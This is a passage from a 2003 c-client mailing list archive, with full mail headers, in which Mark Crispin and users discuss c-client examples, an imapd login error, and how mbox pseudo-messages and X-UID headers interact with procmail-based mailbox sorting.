Thu, 23 Oct 2003 07:00:46 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout3.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9NE0eC2022251; Thu, 23 Oct 2003 07:00:40 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9NE0epc026917; Thu, 23 Oct 2003 07:00:40 -0700 Message-Id: Date: Thu, 23 Oct 2003 07:00:40 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Nedelcho Stanev Cc: c-client@u.washington.edu Subject: Re: examples for c-client In-Reply-To: <072701c3994e$8bcecab0$42ab44c1@darkstar> References: <072701c3994e$8bcecab0$42ab44c1@darkstar> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 23 Oct 2003, Nedelcho Stanev wrote: > Does anybody can give a link to site with examples for c-client > i mean somewhere where i can read easy how to give mime message > to library and how to get content? Look at the mtest and mailutil programs which are bundled with c-client. They are both relatively simple examples. More advanced concepts are found in imapd; then you can work up to looking at Pine... :-) > also, is there are some C++ wrapper for the library. The c-client.h file is supposed to be such a wrapper. If you use gcc, you may have to use -fno-operator-names in your compile command line. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu Oct 23 17:33:26 2003 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 23 Oct 2003 17:33:26 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9O0XQlU009152 for ; Thu, 23 Oct 2003 17:33:26 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9O0XOOA009727 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 23 Oct 2003 17:33:25 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9O0XIXU083498; Thu, 23 Oct 2003 17:33:19 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9O0WJfc054098 for ; Thu, 23 Oct 2003 17:32:19 -0700 Received: from hotmail.com (law15-dav52.law15.hotmail.com [64.4.22.41]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9O0WHTN015056 for ; Thu, 23 Oct 2003 17:32:18 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Thu, 23 Oct 2003 17:32:17 -0700 Received: from 64.136.27.11 by law15-dav52.law15.hotmail.com with DAV; Fri, 24 Oct 2003 00:32:17 +0000 Message-Id: Date: Thu, 23 Oct 2003 17:32:17 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: To: Subject: subscribe C-CLIENT Your Name MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0288_01C3998B.9AFCD2B0" X-Originating-IP: [64.136.27.11] X-Originating-Email: [amygart@hotmail.com] X-Priority: 3 X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1106 X-OriginalArrivalTime: 24 Oct 2003 00:32:17.0688 (UTC) FILETIME=[4764F980:01C399C6] X-Uwash-Spam: Gauge=XXIII, Probability=23%, Report='HTML_50_70, NO_REAL_NAME, PRIORITY_NO_NAME, __CT, __CTYPE_HAS_BOUNDARY, __CTYPE_MULTIPART_ALT, __EVITE_CTYPE, __HAS_MIMEOLE, __HAS_MSGID, __HAS_MSMAIL_PRI, __HAS_MSN_FROM, __HAS_MSN_ORIG_EMAIL, __HAS_MSN_RCVD_DAV, __HAS_XOAT, __HAS_XOIP, __HAS_X_PRIORITY, __MIME_HTML, __MIME_VERSION, __NEXTPART_ALL, __NEXTPART_NORMAL, __OUTLOOK_MSGID_2, __RCVD_BY_HOTMAIL, __SANE_MSGID, __TAG_EXISTS_BODY, __TAG_EXISTS_HEAD, __TAG_EXISTS_HTML, __TAG_EXISTS_META' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. ------=_NextPart_000_0288_01C3998B.9AFCD2B0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable I get an error message when I try to connect to the mailserver via = Netscape Messenger. =20 Oct 22 14:13:11 mail imapd[32389]: Login disabled user=3Dsean = auth=3Dsean host =3Dsands.beach.net [206.16.184.55] If anyone can help I would really appreciate it. How do I enable the users to sign on...??? ------=_NextPart_000_0288_01C3998B.9AFCD2B0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    I get an error message when I try to = connect to the=20 mailserver via Netscape Messenger. 
     
    Oct 22 14:13:11 mail imapd[32389]: Login disabled user=3Dsean = auth=3Dsean host=20 =3Dsands.beach.net [206.16.184.55]

    If anyone can help I would = really=20 appreciate it.
     
    How do I enable the users to sign=20 on...???
    ------=_NextPart_000_0288_01C3998B.9AFCD2B0-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Oct 26 07:02:48 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 26 Oct 2003 07:02:48 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9QF2llU023178 for ; Sun, 26 Oct 2003 07:02:47 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9QF2kOA004804 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 26 Oct 2003 07:02:46 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9QF2SvE026852; Sun, 26 Oct 2003 07:02:30 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9QF0rfc045112 for ; Sun, 26 Oct 2003 07:00:53 -0800 Received: from albert.micropp.se (157-3.sandnet.se [62.168.157.3] (may be forged)) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9QF0pTN009815 for ; Sun, 26 Oct 2003 07:00:52 -0800 Received: from micropp.se (albert.micropp.se [62.168.157.3]) by albert.micropp.se (Postfix) with ESMTP id AF38A87B60 for ; Sun, 26 Oct 2003 16:00:50 +0100 (CET) Message-Id: <3F9BE1A2.6080309@micropp.se> Date: Sun, 26 Oct 2003 16:00:50 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Lars Hallberg To: c-client@u.washington.edu Subject: Re: "pseudo messages" from ipop3d MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=III, Probability=3%, Report='EMAIL_ATTRIBUTION, MAY_BE_FORGED, X_ACCEPT_LANG, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __MIME_VERSION, __MOZILLA_MSGID, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Sory Mark for getting this twice... i gofed up... now to the list: Great! The below text answers most my questions. Maybe it shuld be included in the dokumentation :-) Becose I could not find out for what purpos the pseudo messages was ther. That might decres the ranting about them too :-) I'm resorting mail with formail + procmail and I was wandering if i shuld preserv the pseudo message even when the mailbox is rebuild with much different contents (possably empty - I do move all read mail from inbox to varius destination). The answer is Yes then - becouse the pseudo message is about new messages uid, and have nothing directly to do whith the curent messages. Good. But It's one thing that still wories me. Do they have to be the first message in the file? I curently mv mbox .mbox.old cat /dev/null >> mbox sleep 1 formail-procmail stuf (that will put the pseudo message back and maybe more messages) rm .mbox.old Ther is a risk that something can deliver to mbox before the pseudo message is written back. The sleep is to make it likly that any progressing dilivery to mbox finish befor I start reading, but it also increes the risk that somthing manage to deliver a mesage before the pseudo message. I could .lock the mbox first... but then i would lock out my own procmail... right? Sounds a bit problematic. So I want to know if it at all is a problem first... do the pseudo message need to be the first message? Mark Crispin wrote: >All UIDs must be unique > >IMAP UIDs consist of the mailbox name, a 32-bit integer which is constant for >the mailbox, and a 32-bit integer which is per-message. Generally, most >people think of the IMAP UID as the per-message 32-bit integer. This value >must be strictly ascending in the mailbox, a very useful property which makes >it possible to avoid downloading the entire UID map. > >The per-mailbox 32-bit integer (called the "UID validity") should remain >constant, but if it ever changes, the new value must be larger. Since the >uniqueness is the combination of the UID validity and per-message UID, it is >permitted to renumber the per-message UIDs. This is what happens if something >happens to corrupts the UIDs, or if a mailbox is deleted then recreated. > >To preserve the qualities of uniqueness and strict ascendency, UID validity >and the "last assigned UID" must be stored with the mailbox. That is the >primary function of the pseudo-message. It also holds such things as IMAP >keywords. > >POP3 UIDs are a string of up to 70 printable (0x21 - 0x7e) ASCII characters. >There is no requirement for any sort of ordering. The other technique that I >referred to is to use an MD5 checksum of the message text. > >So, IMAP UIDs can be used as POP3 UIDs, but not the other way around. IMAP >UIDs are implemented by the underlying c-client library, so the c-client based >POP3 server uses IMAP UIDs for POP3 UIDs. > >The whole point of the c-client based POP3 server is to provide POP3 service >that interoperates with the IMAP service. So, there is no chance of it ever >using the MD5 technique; the result would be even *more* cruft in the mailbox >since it would be "both and", not "either or". > >If you don't care about interoperability with the IMAP service, then perhaps >some other POP3 server, such as Qualcomm's qpopper, is a better choice for >you. > >This is an excellent example of why "which is better, ipop3d or qpopper?" type >questions are meaningless. There is rarely an unconditional "better", >otherwise the world would be full of monopolies. More often, it is a question >of "which is a better choice considering my needs?" > >People move from qpopper to ipop3d all the time, because ipop3d turns out to >suit their needs better. I imagine that Qualcomm sees people moving from >ipop3d to qpopper for the same reason. From pinedev@shivax2.cac.washington.edu Sun Oct 26 08:24:04 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 26 Oct 2003 08:24:04 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9QGO3lU024786 for ; Sun, 26 Oct 2003 08:24:03 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9QGNxqm028781 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 26 Oct 2003 08:23:59 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9QGNqSa004786; Sun, 26 Oct 2003 08:23:52 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9QGMPfc026374 for ; Sun, 26 Oct 2003 08:22:25 -0800 Received: from albert.micropp.se (157-3.sandnet.se [62.168.157.3] (may be forged)) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9QGMNQP024837 for ; Sun, 26 Oct 2003 08:22:24 -0800 Received: from micropp.se (albert.micropp.se [62.168.157.3]) by albert.micropp.se (Postfix) with ESMTP id E8CB887B77; Sun, 26 Oct 2003 17:22:17 +0100 (CET) Message-Id: <3F9BF4B9.9030507@micropp.se> Date: Sun, 26 Oct 2003 17:22:17 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Lars Hallberg To: Mark Elvers Cc: c-client@u.washington.edu Subject: Re: Mail header problem In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, MAY_BE_FORGED, REFERENCES, X_ACCEPT_LANG, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __MOZILLA_MSGID, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Elvers wrote: >I use pine 4.44 as my mail client and it treats this message as plain text >- rather than filtering it, as it normally does with HTML messages. >Outlook Express 6 seems to 'detect' the HTML content. > > A lot of ms pruducts ignore the contets type and display stuff at ther own will. That is by all mean *sometimes* usefull - but is generally to be considered a bug! If You want, You can analyse the contents to detect if the contents type is wrong - and offer the user the *option* to view it in another way. But silently overruling it like ms does is not anything I would recomend. The bottom line is - the message is broken! /LaH From pinedev@shivax2.cac.washington.edu Sun Oct 26 13:41:37 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 26 Oct 2003 13:41:37 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9QLfalU032028 for ; Sun, 26 Oct 2003 13:41:36 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9QLfYqm002766 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 26 Oct 2003 13:41:35 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9QLfRvE029054; Sun, 26 Oct 2003 13:41:28 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.32.133]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9QLeKfc026550 for ; Sun, 26 Oct 2003 13:40:20 -0800 Received: from albert.micropp.se (157-3.sandnet.se [62.168.157.3] (may be forged)) by mxu3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9QLeIpW026295 for ; Sun, 26 Oct 2003 13:40:19 -0800 Received: from micropp.se (albert.micropp.se [62.168.157.3]) by albert.micropp.se (Postfix) with ESMTP id 7F25C87B53 for ; Sun, 26 Oct 2003 22:40:12 +0100 (CET) Message-Id: <3F9C3F3C.20909@micropp.se> Date: Sun, 26 Oct 2003 22:40:12 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Lars Hallberg To: c-client@u.washington.edu Subject: Re: "pseudo messages" from ipop3d In-Reply-To: <3F9BE1A2.6080309@micropp.se> References: <3F9BE1A2.6080309@micropp.se> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=III, Probability=3%, Report='IN_REP_TO, MAY_BE_FORGED, QUOTED_EMAIL_TEXT, REFERENCES, X_ACCEPT_LANG, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __MOZILLA_MSGID, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN All UIDs must be unique >> >> IMAP UIDs consist of the mailbox name, a 32-bit integer which is >> constant for >> the mailbox, and a 32-bit integer which is per-message. Generally, most >> people think of the IMAP UID as the per-message 32-bit integer. This >> value >> must be strictly ascending in the mailbox, a very useful property >> which makes >> it possible to avoid downloading the entire UID map. >> >> The per-mailbox 32-bit integer (called the "UID validity") should remain >> constant, but if it ever changes, the new value must be larger. >> Since the >> uniqueness is the combination of the UID validity and per-message >> UID, it is >> permitted to renumber the per-message UIDs. This is what happens if >> something >> happens to corrupts the UIDs, or if a mailbox is deleted then recreated. >> >> To preserve the qualities of uniqueness and strict ascendency, UID >> validity >> and the "last assigned UID" must be stored with the mailbox. That is >> the >> primary function of the pseudo-message. It also holds such things as >> IMAP >> keywords. > BTW Do this mean I have to remove the X-UID header when moving mail between mailfolders? What bad things will happen otherwise? Is it better or worse that *all* X-UID headers are removed (also for mail that return to the original folder)? Right now, mail is moved to other folders with the X-UID header, and while resorting - new mail without any X-UID header can be inserted betwin messages with X-UID header. Scary stuff... Thanks /LaH From pinedev@shivax2.cac.washington.edu Sun Oct 26 15:32:54 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 26 Oct 2003 15:32:54 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9QNWslU002182 for ; Sun, 26 Oct 2003 15:32:54 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9QNWqOA015446 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 26 Oct 2003 15:32:52 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9QNWkSa010278; Sun, 26 Oct 2003 15:32:46 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.132]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9QNVifc040210 for ; Sun, 26 Oct 2003 15:31:44 -0800 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxu1.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9QNVhTO018114 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 26 Oct 2003 15:31:43 -0800 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout6.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9QNVV0Y023746; Sun, 26 Oct 2003 15:31:32 -0800 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9QNVVwc028287; Sun, 26 Oct 2003 15:31:31 -0800 Message-Id: Date: Sun, 26 Oct 2003 15:31:31 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Lars Hallberg Cc: c-client@u.washington.edu Subject: Re: "pseudo messages" from ipop3d In-Reply-To: <3F9C3F3C.20909@micropp.se> References: <3F9BE1A2.6080309@micropp.se> <3F9C3F3C.20909@micropp.se> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 26 Oct 2003, Lars Hallberg wrote: > Do this mean I have to remove the X-UID header when moving mail between > mailfolders? If you use the c-client library to move messages (e.g. mail_copy()) all of these details are taken care of for you. Why aren't you doing this? No, you should not copy X-UID headers. > What bad things will happen otherwise? Either you will write useless junk headers, or you will screw up the UID regime and cause c-client to purge it and recreate a completely new UID regime, causing your POP3 users to complain bitterly that all these messages got downloaded again. > Is it better or worse that *all* X-UID headers are removed (also for > mail that return to the original folder)? You can't return messages. All you can do is add new messages. > Right now, mail is moved to other folders with the X-UID header, and > while resorting - new mail without any X-UID header can be inserted > betwin messages with X-UID header. Scary stuff... You can't resort messages in the mailbox or insert messages in the middle with c-client managed mailboxes. This is a permanent restriction since it is required behavior in IMAP. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sun Oct 26 17:53:24 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 26 Oct 2003 17:53:24 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9R1rNlU005609 for ; Sun, 26 Oct 2003 17:53:23 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9R1rLOA018464 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 26 Oct 2003 17:53:21 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9R1rDXU094218; Sun, 26 Oct 2003 17:53:15 -0800 Received: from mxu5.u.washington.edu (mxu5.u.washington.edu [140.142.32.164]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9R1qFfc026994 for ; Sun, 26 Oct 2003 17:52:15 -0800 Received: from albert.micropp.se (157-3.sandnet.se [62.168.157.3] (may be forged)) by mxu5.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9R1qCQP028627 for ; Sun, 26 Oct 2003 17:52:13 -0800 Received: from micropp.se (albert.micropp.se [62.168.157.3]) by albert.micropp.se (Postfix) with ESMTP id C486587B7A; Mon, 27 Oct 2003 02:52:11 +0100 (CET) Message-Id: <3F9C7A4B.60703@micropp.se> Date: Mon, 27 Oct 2003 02:52:11 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Lars Hallberg To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: "pseudo messages" from ipop3d In-Reply-To: References: <3F9BE1A2.6080309@micropp.se> <3F9C3F3C.20909@micropp.se> MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, MAY_BE_FORGED, REFERENCES, X_ACCEPT_LANG, __CT, __CTE, __CT_TEXT_PLAIN, __EVITE_CTYPE, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __MOZILLA_MSGID, __REFERENCES, __SANE_MSGID' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: >On Sun, 26 Oct 2003, Lars Hallberg wrote: > > >>Do this mean I have to remove the X-UID header when moving mail between >>mailfolders? >> >> > >If you use the c-client library to move messages (e.g. mail_copy()) all of >these details are taken care of for you. Why aren't you doing this? > > Becose I'm sorting mail with procmail / foremail. >No, you should not copy X-UID headers. > > OK >>What bad things will happen otherwise? >> >> > >Either you will write useless junk headers, or you will screw up the UID >regime and cause c-client to purge it and recreate a completely new UID >regime, causing your POP3 users to complain bitterly that all these >messages got downloaded again. > > This means fireing upp mutt over the mailbox directly and move mail is harmfull to? So basicly - everyone complaining about seeing the pseudo message is potentialy doing something bad? But I don't need to care about POP, this is imap over ssl exlusivly. How harmfull is recreated UID:s for IMAP (if I shuld remove them all)? >>Is it better or worse that *all* X-UID headers are removed (also for >>mail that return to the original folder)? >> >> > >You can't return messages. All you can do is add new messages. > > I move the folder, and filter the mailes, some goes back to the old folder but any new delivery during the formail - procmail run vill come in between. This is bad if I understan You corectly. I belive I can fix it! >>Right now, mail is moved to other folders with the X-UID header, and >>while resorting - new mail without any X-UID header can be inserted >>betwin messages with X-UID header. Scary stuff... >> >> > >You can't resort messages in the mailbox or insert messages in the middle >with c-client managed mailboxes. This is a permanent restriction since it >is required behavior in IMAP. > > OK, so I shuld make sure that: * Mail that stays in the same folder keep ther UID and order. * That every new mail end up last (or that the mailfolder is locked during the processing). * That mail that move to other folders have ther X-UID removed. * Anything more? somthing like this .lock mbox mv mbox mbox.old sort mbox.old > mbox.new (with formail & procmail, removing every X-UID on mail not going to mbox.new, and that pseudo message and X-UID is preserved in mbox.new) mv mbox.new mbox rm mbox.old release .lock One of the points of this whole sorting is to keep mbox small - so this lock vill be reasnoble short! For other folders this is harder, but in this specific case I can prety safely asume that they will not get any new mail during the sort. After all, ther is no point in moving mail manually to folders that is automaticly sorted. If I move mail manually it will be to folders that is not automaticly sorted - or to mbox to be automaticly sorted to the right place. I just have to make sure the sorting of mbox don't happens while another sort is going on. Can do that! But it realy looks like I'm using the wrong tools :-) Still, I belewe I will get away with it! Thanks for Your reply! /LaH From pinedev@shivax2.cac.washington.edu Sun Oct 26 18:50:15 2003 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 26 Oct 2003 18:50:15 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9R2oFlU006957 for ; Sun, 26 Oct 2003 18:50:15 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9R2oBOA019693 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 26 Oct 2003 18:50:11 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with SMTP id h9R2o7XU085380; Sun, 26 Oct 2003 18:50:07 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9R2nMfc025274 for ; Sun, 26 Oct 2003 18:49:22 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxu2.u.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9R2nLFY032349 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 26 Oct 2003 18:49:21 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout4.cac.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9R2nAmw005615; Sun, 26 Oct 2003 18:49:10 -0800 Received: from Shimo-Tomobiki.Panda.COM (panda.com [206.124.149.114]) (authenticated bits=0) by smtp.washington.edu (8.12.10+UW03.09/8.12.10+UW03.09) with ESMTP id h9R2n1x0007714 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Sun, 26 Oct 2003 18:49:09 -0800 Message-Id: Date: Sun, 26 Oct 2003 18:49:16 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Lars Hallberg Cc: c-client@u.washington.edu Subject: Re: "pseudo messages" from ipop3d In-Reply-To: <3F9C7A4B.60703@micropp.se> References: <3F9BE1A2.6080309@micropp.se> <3F9C3F3C.20909@micropp.se> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=II, Probability=2%, Report='EMAIL_ATTRIBUTION, IN_REP_TO, QUOTED_EMAIL_TEXT, REFERENCES, __CT, __CT_TEXT_PLAIN, __HAS_MSGID, __IN_REP_TO, __MIME_VERSION, __REFERENCES, __SANE_MSGID, __USER_AGENT_PINE' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 27 Oct 2003, Lars Hallberg wrote: > Becose I'm sorting mail with procmail / foremail. You should run procmail as part of the mail delivery process, before messages reach into any mailboxes. It sounds like your 